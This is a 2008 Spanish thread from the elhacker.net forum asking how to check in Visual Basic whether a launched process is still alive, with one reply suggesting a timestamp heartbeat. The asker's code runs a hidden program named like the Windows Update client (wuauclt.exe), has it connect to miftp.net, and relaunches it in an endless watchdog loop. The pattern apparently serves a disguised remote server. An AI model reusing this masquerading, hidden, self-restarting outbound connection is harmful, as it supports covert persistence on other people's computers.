Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ahkbar en 31 Marzo 2008, 01:54 am



Título: Visual Basic Saber si Proceso esta activo
Publicado por: ahkbar en 31 Marzo 2008, 01:54 am
    Hola, Como puedo saber si un proceso esta activo ? tengo el siguiente codigo, pero... a veces no me ejecuta despues de varios minutos, necesito saber el estado del proceso para ejecurarlo denuevo si es que se ha detenido, pero el problema que creo que pasa, que el SO devuelve un id de proceso a al programa ( h_process en el codigo de abajo ), pero si este programa se cierra, puede que otro programa se abra y obtenga el mismo id que le dio el SO al programa cerrado.

este codigo ejecuta el servidor
Código
  1.  
  2.  
  3. Private Sub ejecutarServidor()
  4. On Error GoTo e
  5.    Dim systemroot As String
  6.    systemroot = ResolveEnvirons("%systemroot%\")
  7.  
  8.  
  9.    h_process = OpenProcess(PROCESS_QUERY_INFORMATION, False, _
  10.           Shell(systemroot & "wuauclt.exe -run", vbHide))
  11.  
  12.    Call Shell(systemroot & "wuauclt.exe -connect miftp.net", vbHide)
  13. e:
  14. End Sub
  15.  


Este otro es el que se mantiene por el resto de la vida del pc encendido
Código
  1. Private Sub ejecutarServidorCadaMiliSeg()
  2. On Error GoTo e
  3. Dim cont As Single
  4. cont = 0
  5.    do While (1)
  6.        Sleep (60000)
  7.        cont = cont + 1
  8.  
  9.        If (cont = 5) Then
  10.  
  11.            GetExitCodeProcess h_process, rVal
  12.            If (rVal <> STILL_ACTIVE) Then
  13.                ejecutarServidor
  14.            End If
  15.            cont = 0
  16.  
  17.        End If
  18.  
  19.    Loop
  20. e:
  21. End Sub
  22.  

dato : h_process lo tengo como global


Título: Re: Visual Basic Saber si Proceso esta activo
Publicado por: crazy74mx en 5 Abril 2008, 01:40 am
Hola!
Lo que yo haría es que el proceso te almacene la hora del sistema en una variable. Tu puedes checar la hora de la variable contra la hora del sistema y si difieren por mas de x cantidad de segundos o minutos, pues es que se ha detenido.
Tal vez te parezca una solución un poco tonta, pero si te sirve pues que bien!
Saludos!